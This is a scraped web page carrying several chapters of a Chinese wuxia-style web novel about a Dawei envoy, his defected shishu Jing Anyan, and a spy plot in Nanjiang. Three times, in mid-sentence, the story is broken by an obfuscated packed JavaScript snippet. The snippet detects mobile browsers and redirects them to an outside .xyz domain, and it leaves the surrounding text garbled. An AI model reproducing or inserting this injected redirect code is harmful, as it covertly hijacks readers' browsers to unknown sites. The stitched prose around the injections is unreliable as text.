所有人都在往前,只有封长念站着不动,愣愣地看着被他抓手腕的那个人——他不认识那个人,那不是靖安言,只是个普通南疆人,正奇怪地看着他,似乎不理解为什么要抓着自己往前走。 封长念松开手,于是最后一点温热也消散在人群里。 没有靖安言的影子了,突然的像是大梦终醒,几乎让他怀疑这人存没存在过。 等到人潮褪去,只有封长念一个人孤零零地站在大街上,手里握着一枝光秃秃的花枝。 靖安言又逃了,毫无预兆地不告而别。 或许因为他终究还是不知道如何面对封长念的那份情,或许因为他终于找到了个合适的契机可以逃跑,也或许……也或许什么都不因为。 他从来都不是封长念的自己人,所以封长念从来也未曾真正留住过他,无论用情、还是用理来试图留他,都是如此。 22.追逐 烟花散尽,街上人也走得差不多了,秋长若和夷月是在街边卖花灯的小摊子前找到的封长念。 看见他只有一个人的时候夷月心底就一蹦,赶紧询问怎么回事后,恨不得把靖安言薅回来揍一顿。 又跑! 又跑!! 又跑!!! 这次连个气儿都没跟她通,说溜就溜了!!! 秋长若觑着封长念的侧脸:“……他跑什么呢?” “不知道,或许是觉得你来了,我那套苦肉计无处可施,不再会拿性命留他,他觉得没有留下的必要了吧。” 封长念手里有一搭没一搭地点着那枝秃杆,听语气倒还算平静。 但越是这样越让人担忧,秋长若已经被风波前的宁静搞怕了,之前她的另一位好师兄就是在假装平静之后搞了波大的,险些连自己的命都赔进去。 她可不敢赌:“……那现在你马上回大魏吧,解药我去给你找,我送你出神寂岭,你——” 封长念手一抬,阻止了她说下去。 他递了银子给小贩,然后拎了两只灯笼,一个姑娘一个塞进她们手里,盈盈灯火下,两个姑娘被他这一举动骇得不敢说话,不知道他唱得这是哪一出。 “劳驾。”封长念把两个人带到一间闲置的房舍里,屋中尘灰落尽,那两盏灯成了唯一的光源,“阿月姑娘,恕我直言,接下来的话我得先问问你才能接着说。” 夷月有些紧张:“封哥你讲。” “你是南疆大祭司的女儿,为什么对我们这些大魏人从无敌意?”封长念开门见山,“大魏与南疆交恶多时,就算南疆内斗,也不至于对我们这些大魏人如此性命相托。” 夷月神色松了些:“我当是什么问题。你直白问了,我也直白答你——南疆内斗,我既不喜欢圣酋,也不喜欢南疆王,不过非要二者择一,我选南疆王。” “大魏和南疆之间,二者择一,我选大魏。” 封长念不动声色地看着她,等着她接下来的解释:“因为……有人告诉我,在我是南疆人之前,我是南洲人。” “外邦蛮夷占领了我们的故土,逼迫我们修习蛊术,自相残杀,成为为他厮杀的一支奇兵,为了能够向北推进,深入大魏腹地。还伪造了我们的过往,销毁了我们同大魏之间同根同源的牵连。” 夷月抬了抬手中灯笼,是一只往北飞的大雁:“我们才是一家人,不是吗?” 提灯的小姑娘眼神亮晶晶,却足以让人心生依赖和信任,她没有撒谎,她在说这些话的时候,神色哀伤却温柔,微微低着头,像是半空中有人在温柔地抚弄着她的发顶。 封长念轻声问:“方便告诉我,是谁告诉你这些的吗?” 夷月笑了下:“不是你小师叔,死心吧,他可没跟我说过这些,他在我面前从没提过大魏。是我的师父,他叫叶长缈。” 她似乎不想多说,极快地掠过这个名字:“所以,我的回答让你满意吗?还是说你要和秋姐姐说事情,我回避一下?” “不必,多谢阿月姑娘坦诚相告。”封长念淡淡一笑,也不追问,“……其实我想说的事情是,我不打算去找南疆王了。” 秋长若:“?!” 夷月:“?!” “那怎么行?你不找南疆王谁给你解药?!”秋长若立刻反驳,“你别想着拿苦肉计逼小师叔出来,他都知道有我在,我不可能放任你受折磨。” “对啊封哥,无论如何解蛊要紧。”夷月也附和道,“实在不行我给你去逮靖安言啊!你不能拿自己的性命开玩笑。” “我没有,我没有,各位,稍安勿躁。”封长念双手下压,本就沉静的气质更添了一份柔和,“我是有一个既能解蛊,又能找回小师叔的办法。” 秋长若和夷月对视一眼,显然俱是一脸不信。 他的双手轻轻按在两个人的肩膀上,低语道:“我要去找召砾。” 两人几乎是闻言弹起,又被封长念那手劲儿死死按在座位上。 “封长念!你是真的不想活了是不是?不想活了直说我现在就回大魏谁管你!?” “封哥!虽然下蛊的是南疆王,但现在的局势下显然你去见圣酋更危险,且不说圣酋会不会对你做什么,但南疆王一定知道,他知道了还能信任你、给你解蛊吗?!” “我就知道你们不会同意……”封长念轻笑一声,“但我不是疯了,我是真的有把握的。既有把握能解蛊,也有把握能让小师叔不得不出面见我。” 两个姑娘异口同声:“不可能。” 封长念双手一抬,做了个随意的手势。 下一刻,秋长若和夷月同时眼神一凛,只觉得有一股冷风嗖嗖在夜空中划破苍穹,她们猛地旋身躲开,刹那间那股冷风炸破身后摇摇欲坠的木窗,铮铮两声,两支利箭钉着两张纸条扎牢在桌上。 顾不得那两张纸条了,秋长若拉住差点儿夺门而出的夷月,顺着窗户炸裂的缝隙看上去—— 有一个青年正穿着夜行衣站在树干上,手中长弓紧握,弓弦随着长箭的离去而微微晃动,看见秋长若朝他看来,那双灿若星子的眼睛轻轻弯了弯,冲她摆了摆手。 动作间,腰际挂着的一枚木牌微微晃动,上头的雀鸟展翅欲飞。 “……居然是你?!” 这一声叠着好远,同时在秋长若和靖安言的口中呼出。 面前的少年人站在空无一人的大殿之内,靖安言偏头望了望,再度问他:“……怎么只有你?王上呢?” “王上有急事出门了。”少年抱着双臂,静静地看着他,“靖先生有什么事情吗?” “王上身体痊愈了?还能出门?罢了,不在就算了,我是想同他讲大魏那边……” “王上说,如果有大魏的事,让我转告你,你不必再操心了。” 靖安言眉心一蹙:“什么意思?叶梵缇,说明白。” 名叫叶梵缇的少年放下手,轻叹道:“就是字面意思,王上等着你把大魏那位礼部尚书带来,等了很久了,看你这磨磨蹭蹭的还以为你不愿意呢。” “若不是召砾百般阻挠,我早把人带来了。”靖安言勾唇一笑,“我怎么会不愿意呢?” 叶梵缇满不在乎道:“愿不愿意的,都不重要了。因为相比于那位尚书大人,王上听说了一件更为重要的事,需要赶紧查明。这件事事关靖先生忠心,所以让你暂时歇歇,不必管事了。” “什么事?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686623|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶梵缇眼珠一转:“或许,靖先生可还记得,‘南鸟’?” 他年纪看上去和夷月差不多大,但眼神却如鹰隼一般犀利,直勾勾地盯着靖安言每一个细微的表情变化,像是蓄势待发的捕猎者,一旦发现任何蛛丝马迹,就会立刻扑上去咬死猎物脆弱的喉咙。 但靖安言表情平稳:“记得,八年前大魏的南鸟计划,主帅左清明代号南鸟,不过他不是已经死了吗?怎么八年过去又把这事儿翻出来了?” “哦,记得就好。”叶梵缇缓缓逼近了他,“因为有人告诉王上,‘南鸟’不是左清明,而是另有其人。” 靖安言表情依旧没有什么破绽:“这话又怎么说?和我又有什么关系?” “‘南鸟’未死,南鸟计划没有失败甚至没有结束……现在的证据证明……”一柄寒光缓缓抵上靖安言的喉口,叶梵缇像一条冰冷的蛇在靖安言耳后吐着蛇信,“你才是真正的南鸟。” “哈哈,哈哈哈哈哈哈。”冰冷的触感从喉结下慢慢弥散,靖安言反而笑得停不下来。 叶梵缇被他笑得一愣,冷声道:“怎么?” “不行了太好笑了,让我笑会儿哈哈哈哈哈哈。”靖安言泪花都笑了出来,“我是南鸟?我和南鸟计划有关?太好笑了哈哈哈哈哈哈。” 叶梵缇脸色铁青地盯着他。 “八年前南鸟计划开始,彼时我已经跟大魏恩断义绝两年了,当时的大魏皇帝也对我下杀令两年了。”靖安言抖着手指,“两年,我不能进到大魏里去,想说服我给大魏卖命只能进神寂岭,但当时神寂岭看管多严,他们怎么在不为人知的情况下既要保命、还要说服一个已经叛逃了的我?” “而且大魏怎么就非要用一个叛徒当这么重要计划的执行者呢?”靖安言终于笑够了,“行了行了,小子,别跟我讲笑话了,我明白了,这是召砾传的话吧?” “大魏来使他找不到,只能另辟蹊径离间大魏和南疆王之间的‘援手’,或者更甚,想要通过这件事动摇王上的心神,王上本就久病缠身,让我们两个人鹬蚌相争,召砾自己渔翁得利,算盘珠子都崩我脸上来了。” 靖安言摇了摇头,潇洒地转身离去。 叶梵缇阴冷道:“如果你想去找召砾对峙,我只能说你在送死,据我所知,召砾证据确凿,你还是想想怎么给自己收尸吧。” “证据确凿?那我更要去看看了。”靖安言顿了顿,偏头道,“小子,看在你提醒我想想怎么收尸的份儿上,我也好心叫你一起,要不要跟我一同去看看热闹,看看召砾怎么自掘坟墓啊?” 叶梵缇冷哼一声:“不必你叫,我本来就是按照王上吩咐在这儿等你,毕竟我是王上亲卫之首,办完差,我自然也是要护卫王上左右,确保安全。” “好好,好忠心的少年。”靖安言毫不走心地称赞,“没想到叶长缈的弟弟……” “铮——”一把弯刀自靖安言颈侧划过,登时拉出一道血线。 靖安言摸了摸,还有些疼,再多一寸就要伤到大动脉:“年纪不大,脾气不小。” “再提我哥,我真会弄死你。”叶梵缇声音比方才还要阴冷,“靖安言,我终有一日会找出你杀害我哥的证据。” 23.弑师 日落西山,临近傍晚。草木越走越稀疏,影影绰绰能看见露出的高楼一角时,靖安言猛地站住了脚步。 叶梵缇瞟他一眼:“怎么?心虚了?” “只是觉得奇怪,王上真的来了么?”靖安言从身后抽出笛子,遥遥一指,“南疆王在这个节骨眼上来到召砾的地盘,召砾就没安排什么人手?虽然两人的争端暂且没闹到面上,但……哪怕是护驾呢。” 叶梵缇顺着笛子望过去,召砾的高楼建了五层,每一层都有巡逻的卫兵,但今日不增反减,属实过于反常。 少年眉心一蹙,立刻飞身而去:“糟了。” 靖安言望着他的背影渐渐消失在尽头,唇角轻扯,勾出了一个不易察觉的微笑,这才不紧不慢地沿着叶梵缇方才的行踪朝着高楼走去。 待他走到门口时,外面已经横七竖八躺了一地的卫兵,他扫视一圈,逮住一个还能喘气儿的拉起来。 “你们圣酋在哪?” “三……三层。” 靖安言手一松,那人又抽搐着跌回地上,下一刻,笛子化作一道青色的光,一剑封喉。 “我也帮你个忙,送一程吧。” 召砾的宅子建得跟一座塔一样,一圈是一层,最中央搭着楼梯,原本纤尘不染的楼梯上倒挂了不少的尸体,有召砾亲卫的,也有南疆王随侍的。 依稀传来人说话的声音,越往三楼越甚,靖安言在二三层之间停了停,就听见叶梵缇冷调的嗓音清晰地传来。 “说是要揭发靖安言,以表忠心,不敢再有不臣之心,怎么圣酋又出尔反尔,伤了王上那么多随侍?!” “叶公子,本酋可不敢接你这个控诉,天地可鉴,先动手的不是我的卫兵,杀了那么多王上随侍的,也不是我的手笔。” “你的地盘,不是你还能是谁?!” 激烈的争吵中猛地插入一道虚弱的嗓音。 “梵缇……不得对圣酋无礼。” 靖安言眼睛极快地一眨。 那声音虚弱却很干净,像是天山上冻雪融化,若是中气十足,想来便更有闲心来聆听这把极好的嗓音,可惜眼下只会让人担心下一口气跟不住。 南疆王勒乌图,谁能想到一个令大魏胆战心惊的南疆王只是一个三十岁不到的年轻人,还如此虚弱,气若游丝呢。 楼上一阵窸窸窣窣,应是叶梵缇扶着勒乌图坐下了。 勒乌图轻声道:“方才应是有刺客入内,本王与圣酋的人都损伤不少,如今已派人去追了,梵缇你不必担心。召砾,梵缇还小,方才种种,本王替他赔你不是。” 召砾笑了下:“王上,臣不敢。” 勒乌图继续说:“那你便讲讲正事吧。” “王上,臣是有证据,但毕竟牵涉甚广,他们大魏讲究个凡事要对簿公堂,既然人已经到全了,不如我们三方一同坐下来谈谈此事,如何?”召砾话锋一转,“靖先生,你还想在楼下听多久?” 空气中有一瞬间的沉默,不多时,门被人从外面推开。 靖安言先是冲南疆王行了个礼,然后才直起腰,眯眯眼笑道:“果真最近与圣酋大人交手交多了,对我的行踪这么了如指掌,大人,对我有点过于了解了。” 他深知召砾最烦自己嘴上那一套,果不其然,话音未落召砾的脸色就难看起来,强壮的手掌紧紧攥起,像是想要扑上来给他一拳。 奈何勒乌图在,他又是有别的打算,只能眼不见心不烦地一翻白眼:“希望一会儿靖先生的舌头还能这么轻描淡写地说话。” 靖安言但笑不语,只见召砾从怀中抽出一只竹筒,看都没看就往勒乌图面前一搁:“我要说的话,都在这儿了。” 靖安言、勒乌图与叶梵缇的目光都往那只竹筒上看去。 那只竹筒很破旧了,浑身沾满了污泥,看起来像很多年前的老物件刚从地底下被挖出来。 “王上小心。”勒乌图刚想打开竹筒,被叶梵缇接过挡了一下,小心翼翼地拆开,发现里面是一封用竹片写的信。 “南鸟,务必找到古南洲大祭司的血脉。” 勒乌图的表情微微一变,但还是稳住了:“圣酋,这是从哪里找到的东西?南鸟不就是那个左清明,八年前他不就已经死了吗?” “王上问得正是,这也是我想问靖先生的。”召砾拿起那张竹片,在靖安言面前轻轻扇动,刮起带着泥土潮湿味道的风,“靖先生,想不想说些什么?” 靖安言一脸莫名其妙:“圣酋大人莫不是昏了头了?这一张竹片写得信,想让我说些什么?” “好,本酋看你是不见棺材不落泪。”召砾转过头去,“王上,这只竹筒正是在左清明的坟墓里发现的——这么多年,我一直觉得当年的南鸟计划结束得太过仓促,于是派人去挖了他的坟。” “靖先生,左清明和你缘分不浅,他是你的授业恩师,是从小把你带大的老师。本酋暂且不问,他战死沙场后为何会在南疆有座坟,里头的棺木还是上好的,挖坟的时候打开棺盖,里面的白骨保存完整,看起来也算是入土为安了。” “本酋想问的是,为何这样一支竹筒,会在他的坟墓里、棺木外被发现?若是在棺内,那有可能是左清明带进棺材里的。但在棺外——” “你到底想说什么?”靖安言不耐烦地打断他,“直说便是了,我没空跟你在这里兜圈子。” “有人要借左清明的坟传递‘南鸟’计划的下一步规划,而谁建了这座坟、谁会祭拜这里的死人,谁就是真正的‘南鸟’。”召砾抬手一指,“你——就是南鸟。” “南鸟计划根本没结束,而是开始,八年前他们就是为了让你进入南疆,左清明的死也是为了给你打掩护!”召砾朗声道,“王上,这儿有个大魏的细作,所谓的大魏援军更是狼子野心,幸亏您在神寂岭中杀了他们!” 勒乌图静静地坐在那儿思考,没有立刻作声,而是将目光递给了众矢之的的靖安言。 靖安言看上去一点也不慌乱,只是认真地看着召砾举在他面前的那只竹片。 半晌,就在他要说些什么的时候,召砾又打断了他:“我不只有这一个证据。” “圣酋大人,恕我直言,你这也叫证据。”靖安言突然讽刺地笑了,“这竹筒既不是我挖的,又不是我埋的,你就凭借里面死的是我曾经叛出师门的师父,就觉得这话是留给我的,也太武断了些。” 召砾拍了两下掌:“那你看看这个呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711855|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “砰”。靖安言眼瞳微微一缩。 一具棺木被抬进了厅中,落下的时候极重的一响,上面土渍未净,显然是刚挖出来的。 靖安言的唇抿紧了。 几个手下一拥而上推开棺盖,又是一声巨响,叶梵缇下意识捂了捂勒乌图的眼睛。 “看看吧,靖安言,你师父不是由你敛骨吗?那他还有遗言,不知道你听没听见啊?” 靖安言已经缓缓地走了过去。 棺材里的人已经变成了一具白骨,没有皮肉,但姿势平整,起码可以看出下葬时的平静。 在那属于右臂骨头上,用刀刻了四个字—— 南鸟北归。 “王上,若左清明就是南鸟,何须用自己的遗骨留下此句遗言?可见南鸟另有其人——能在南疆境内为左清明平整下葬建坟的人,靖安言,除了你,还会有谁?” 靖安言置若罔闻,只是俯身将胳膊搭在棺木上,然后伸出手去,一字一字地抚过刻在白骨上的痕迹。 ——我会把这四个字带进棺材里。 他居然真的把这四个字带到了棺材里。 “啧。”靖安言闭了闭眼,唇角一掀,发出一声讽刺的嗤笑。 召砾一愣。 “圣酋大人,算盘别打得那么明显,做一个伪造的竹片,再让人开个棺,就能把罪名给我定死了?可惜,你不知道的事情多着呢。” 靖安言直起腰,方才眼睛里的情绪都不见了,只剩下一种眼神——看死人的眼神。 “你说南疆不会再有人给左清明修坟建墓?错了,除了我一个从大魏叛逃出来的人以外,还有个人与大魏渊源深重,莫非你忘了……叶长缈吗?” 靖安言眼风挑衅似的从叶梵缇骤然惨白的脸上一扫而过:“而且,你不知道,当年我投诚可不只是明面上的那一件,私下里,我还同王上交了我的第二份投诚之礼。” 他厉声道:“当年,当着南疆王、大祭司、圣酋三位的面,我亲手砍断自己右手经脉,以自毁剑术为诚,叛出大魏,投奔南疆,此为明面一件。” “第二件,是我亲自取了左清明的性命,作为我的投诚之礼。”靖安言道,“王上,当年我将左清明的尸首拖到你的面前,他被一剑封喉,是我的手笔。这件事,你没忘记吧?” 勒乌图还未来得及点头,只听咣地一声,召砾身后的屏风轰然倒塌。 露出脸色惨白的三个人——秋长若、夷月……还有封长念。 靖安言平静地望着封长念波涛汹涌的眼神,无言地与他对视。 封长念那双眼睛从来都很漂亮,靖安言静静地想,如今沾上了不可置信、大失所望、心如刀割后,更漂亮了。 叶梵缇猛地将勒乌图护到身后:“召砾!这又是哪一出?!” “哪一出?螳螂捕蝉,黄雀在后。”召砾退了几步,站定在封长念身边,“你看,封大人,我老早前就说过了,靖安言不可信,你非要亲耳听听。” “我也告诉过你了,靖安言当年投诚之事有二,一,亲毁根基,自断右腕;二,手刃恩师,恩将仇报。”他将胳膊搭在封长念肩头,“如今,这话从他嘴里亲口说出来,你总该相信了吧。” 24.威压 三个时辰前。 厅堂内刀光剑影,召砾端坐在高位,望着台下凛然不惧的封长念,微微勾了勾唇角。 “想见封大人一面,可是太难了啊。” 他抬抬手,那些杀意凛然的刀剑便悉数收了起来,压迫的气氛一哄而散,召砾缓步走下来,友好地伸出手拍了拍封长念的肩膀。 “怎么?靖安言不拦你了?” “是我自己对圣酋大人信不过,不想见而已。” “那怎么现在又想通了?” “我想听听你的条件。” “哈哈哈哈哈哈。”召砾像是听到了什么好听的笑话,“小子,连南疆王都不敢同我谈条件,迄今为止,我们之间的交锋都在暗中,明面上他都不敢公然跟我翻脸,你胆子倒是大。” 封长念静静地看着他笑,沉静的脸上没有半分表情。 召砾笑盈盈的,似乎在等他的反应。 封长念表情依旧平静,却突然抬手,狠狠给了召砾一记耳光。 这一巴掌打得极其响亮,给召砾抽懵了,高高在上的圣酋从没有人敢这么打他脸,刹那间,归鞘的刀剑再度出鞘,召砾一把攥紧了封长念领口,怒目而视:“你——!?” “我和南疆王有区别,你不求他,你们分庭抗礼,所以面上还要过得去,但你求我。”封长念不慌不忙地盯着他,“若不是你有求于我,今时今日,我不必出现在这里,召砾,想清楚你的处境。” 召砾一怔。 面前的人年轻极了,比靖安言还小,但浑身的气度却比靖安言还吓人,如果说靖安言像是机警的狐,面前这人就是深藏不露的狼,保不齐什么时候会扑上来咬他一口。 封长念见他迟疑,二话不说又是第二记耳光抽上去,这一下比方才还用力,从小练剑的封大人手劲儿不是开玩笑的,召砾那么大的块头,照样能够直接被抽飞。 “你——?!” “这一巴掌,是为了在客栈里,你故意催动我体内蛊毒,让我受苦。”封长念转了转腕子,跟上去又抽了一巴掌,“这一巴掌,是为了方才你攥我的领子。” “等等……等等……”召砾惊讶地望着这个年轻人,这和他想得一点都不一样!!! “你来这儿,不是为了互利共赢吗?!” “你又解不了我的蛊毒,谁跟你互利共赢。”封长念微微笑了下,“我只是想听听你想跟我说什么,如果你开的价能够让我弃掉南疆王转而站你,那我这趟就没白来。” 召砾捂着通红的脸:“……大魏会让你站我不站勒乌图?!” “将在外,君命有所不受。陛下封我为特使处理南疆内乱之事,就是把处置权交给我,陛下满意不满意的,那是我的事儿,与你无关。”封长念慢条斯理地调整了下腕口,“要不你非要见我做什么?” “好、好好。”召砾露出鲜血淋漓的齿,又觉得有些瘆人,用手背一擦,“我的条件必定让陛下满意。你我都明白,勒乌图才是外邦入侵的贼寇,而我是土生土长的南疆……不,南洲人。我们才是一家人。” 封长念一瞬不瞬地看着他。 “大魏……哦不,封大人。我们才是一家人。”召砾痴痴道,“只有将勒乌图赶出南疆,大权重归,南疆才会真正臣服,大魏才是真正的宗主国,大魏南部才会真的有太平啊。” 封长念了然地点点头:“这就是你的条件?” “对!只要我获得了大魏的支持,你们才能获得真正想要的太平南大门。”召砾顿了顿,“大魏支持南疆王,是在舆情上说得过去,但勒乌图才是狼子野心的人,你们可不能帮着外人,否则后患无穷!” “只要获得大魏支持,我还会把南疆蛊术之秘,作为我的忠心铁证,悉数奉给陛下。” 封长念:“还有吗?” 他的表情太淡定了,淡定到召砾怀疑自己抛出的那些条件都是在隔靴搔痒,但大魏苦南疆蛊术久矣,也苦南疆边患久矣,这难道还不够丰厚吗?! 召砾心下千回百转——不,不是大魏,是眼前这个人,这些条件没有开到封长念的心坎上,他得找些能让封长念心动的理由才行…… 他心动的理由…… 召砾略一沉吟,灵光一闪:“……还有,我会将靖安言亲自活捉,送给大人你。” 封长念终于表情有了那么一丝丝波动,长眉一挑:“怎么说?” 召砾急道:“我也曾听闻过封大人与靖安言的一些过往,知道大人是念旧情的人,我也愿意成全大人的旧情。但,恕我直言,大人,靖安言此人还是小心为上。” 封长念眉眼微压:“……怎么说?” “这小子狠啊,太狠了,一般人都没他那么狠。”召砾拳头与掌心对撞,道,“大人你有所不知,你是被他这表象以及过往蒙蔽了眼睛,靖安言此人在南疆无人不知无人不晓,那是个心狠手辣的狠角色啊。” “他一个大魏国母的幼弟,偏偏叛逃到南疆,甘心做南疆王手下的一条狗、一把刀,什么脏事脏活都愿意接,杀人和仇恨都在他身上,他都不怕。” “勒乌图问过他,‘让你专门干杀人的勾当也行?’从此树敌千万,都不是他自己的仇,恶意不敢对着王上来,只能悉数找他麻烦,这他都能接受?他接受了。” “且不说他为南疆王私下里杀了我手下多少人,就说他的为人,正常人,谁能以手刃亲师为筹码,再以自断经脉为忠心,只为了让自己被南疆王接纳,你说说,这……” 封长念脸色猝然变了。 “你说……什么?” “你说他杀了谁?” “你说他自断了什么?” 召砾一愣,旋即道:“封大人,这些事你都不知道吗?或者说,靖安言没给你讲实话吗?好好,如今你可知道他是什么样的人了吧?连这些事情他都能编得天衣无缝,若不是我,你还被蒙在鼓里呐。” “行,我知道,一时间接受这件事很困难,但我有办法证明给你看。” “封大人,我若是真的证明了,你可要擦亮眼睛,看清南疆王他们那伙人都是什么货色,也要看清楚,谁是敌,谁是友。” “如何?封大人,这些条件,够不够让你转变心意?改变大魏援军的立场与方向?” “……” 封长念睁开眼,缓缓扫视了一下现场。 众目睽睽之下,各方人都没有动作,一场激烈的交锋无声无息地进行着,以头脑、以眼神甚至以每一个呼吸。 他突然往前走了一步。 靖安言一直在观察着他,在他动作的同时后退,封长念看见这一动作,再次站定。 “……你跟我说你手上的伤,是师祖砍的。”封长念喉结上下滚动,往前的步子怎么也不会再迈出去,“如今又变成了你自己动的手,还有师祖的命。靖安言。” 靖安言眼瞳不由自主地一颤。 封长念望着他:“……我还能相信你说的话吗?” “封大人,恕我直言,我早说过了,您家这位小师叔最不能信的,就是他那张嘴。”召砾抄起双臂,冷眼旁观看热闹,巴不得看着两个人反目,“靖安言那张嘴,死的也能说成活的,照我看,想让他说实话,第一件事就是得拔了他的舌头——” “铮——”寒光一闪,那是眼睛根本捕捉不到的速度,召砾惊魂未定地摸了一把脖子,鲜血留在他掌心,墨痕剑早已重重插.进他身后的墙壁。 封长念声音是比墨痕剑光还冷的阴鸷:“轮得到你说话?” 召砾一身肌肉刹那间就绷紧了,可心中计较一番,还是先退了一步,做了个请便的手势,退一旁去不再多言。 靖安言终于开口了:“剑法不错,精进了很多。和我当年的速度有一拼了,长忆,这些年你剑术长进不少。” 封长念静静看着他。 靖安言又退了一步:“好吧好吧,瞒是瞒不过了,我也没想到在这个节骨眼上,你居然也会在这里——行,我承认,我是骗了你,手不是我师父砍的,但他人是我杀的,这儿,一剑毙命。” 靖安言用手点了点自己的心口:“砍断自己的手之前,老头儿离世之前,能让他再看见我使剑的一幕,也算是有始有终。” 封长念眉心极快地一蹙:“为什么?” “这很难理解?当年大魏以南鸟计划之名大举进攻南疆,我已经是南疆人了,总不能看着大魏打过来什么都不做吧。”靖安言毫不在乎地解释,“谎言三分真七分假最容易骗人,左清明要砍我手是真的,只可惜他老了,赶不上我的速度,只能最后被我反杀在神寂岭中。” “我带着左清明的尸体去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740394|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了王上,表明自己忠诚,王上却忌惮我的剑术,毕竟我还是大魏皇后的幼弟,我理解,于是当着王上、召砾还有大祭司夷靡殊三个人的面,自己砍断了手腕经脉,自此不碰剑锋。” 靖安言站定在勒乌图面前:“前因后果,就是这样。所以召砾,你那所谓的竹简果然是在诈我,只怕是你胡诌的。” “竹简是我胡诌,但你师父那遗骨上的字可不是。勒乌图,看见了吧,大魏这么多年从没停止过想要收复南疆,要把你这个外邦贼寇赶出南疆,你还真以为大魏会来帮你?” “所以你搞这么一出,是为了让王上和大魏之间彻底离心,转而让大魏和你站在同一边。”靖安言恍然大悟,“难怪你之前追着喊着要见封珩,如今终于见到了,桥也终于搭上了。” 召砾狞笑道:“谁让你做事做绝,靖安言,手刃亲师天理不容,这次是道义、法度、舆情都不站你,所以说,做人还是要厚道些才好。” 靖安言微微扬了扬头:“你说得对,不过……你真的觉得一切尽在你的掌握中吗?” 召砾悚然一惊,靖安言唇角的笑容太笃定也太奇异了,他胜券在握一般,淡定地嘲笑着自己这个哗众取宠的秋后蚂蚱。 “换句话说——你以为封珩的手段,就到这里吗?” “铮——” 离弦之箭擦着靖安言的话音破窗而入,一根强悍有力的铁箭顶着烧灼的火焰,重重射穿地面的一瞬间烈火燎原! 召砾整间屋子都是木头做成的,燃烧的速度非常之快,几乎一个眨眼火苗就蹿了起来,而透过那炸毁的窗户,能看到一个身影慢悠悠地引箭搭弓,铮地一声又射出了第二箭! 叶梵缇护着勒乌图夺门而出,召砾的亲卫察觉到不对纷纷跑上来,可又被熊熊烈火逼退至门外。 刹那间整个楼里都乱了套,打水的,往外跑搬救兵的,嘈杂声不绝于耳。 “咳咳咳。”召砾用手捂住口鼻,怨毒地瞪着封长念,“你——” “他什么他啊,射箭放火的是我,圣酋大人,有事情冲我来啊!” 一道矫健的身影灵敏得像只猫,直接从窗口蹿了进来,肩挽长弓,手持铁箭,威胁似的指了指召砾。 “大魏大理寺少卿,玄门长字门三弟子苑长记,见过圣酋大人啊。” 中计了! 封长念表面假意答应,其实根本没想帮自己! 他只是为了他要见的人,要查证的事!仅此而已! 召砾怒不可遏,猛地扯下腰间铃铛:“封珩——!!!” 秋长若神色一凛:“长记!!!” “嗖——”苑长记当即调转攻势,利箭直接扎破了那枚小小的铃铛,在召砾手里炸了个四分五裂,铁箭带着多余的残片钉穿了召砾的肩膀,他发出一阵痛苦不堪的哀嚎。 场面一时间更乱了,秋长若护着夷月凑到门边,急急道:“此地不宜久留,快走。长念?” 封长念根本没注意秋长若说的话,只专注地盯着靖安言。 此时靖安言已经退到了窗口,他没有跟着叶梵缇一起走,像是被什么牵绊住一般,有些出神地望着那口棺材里刻着字的白骨。 召砾痛得呲牙咧嘴,目眦欲裂道:“靖安言!是不是又是你的诡计!否则你又是怎么知道……” “他毕竟是我带出来的。”靖安言目光未变,盯着那白骨上花一样的四个字,“我带出来的人,我自己知道。” 封长念猛地反应过来:“长记!带师祖走!!” 苑长记出入各种凶案现场,敛骨这事儿做的极其麻利,闻言当即撇下长弓,抓着棺材里的绢布将左清明的遗骨团团包好护在怀中:“不好意思了师祖,委屈你一下。” 封长念一把将苑长记推出了门。 这下屋里只剩下召砾、靖安言和他三个人。 靖安言一脚踩在窗边,目光终于从空了的棺材内移开,落到封长念面庞上。 烈烈长风吹动他的高马尾,衣袂翻飞间,恍惚又是那个长安城内少年自风流的靖家小公子。 “小……” 话未说完,只见靖安言双手摊开,三层楼高的距离,居然就这样仰面直直坠了下去! 封长念瞳孔一缩,一阵疾风掠过,他想也不想,追着靖安言的身影一同跳了下去!! 25.惊梦 这座楼每一层的层高都有两丈,不带任何后手地跳下去只有摔死一条路。 可封长念脑中空空,满心满眼都是靖安言倾倒时冲他微笑的样子,他伸出手臂去够,距离靖安言的领口却永远差那么毫厘。 他够不到……他根本够不到!! “小师叔……”封长念咬紧牙关,“……靖安言——!!!” “嗖嗖嗖嗖嗖嗖——” 只听一阵穿云裂石之声,方才那强悍有力的铁箭从地面射来,沿着他们坠落的下方叮叮当当插了一排,刚好拦住他们下坠的趋势,让他们缓了一口气的同时咕噜噜地滑下来。 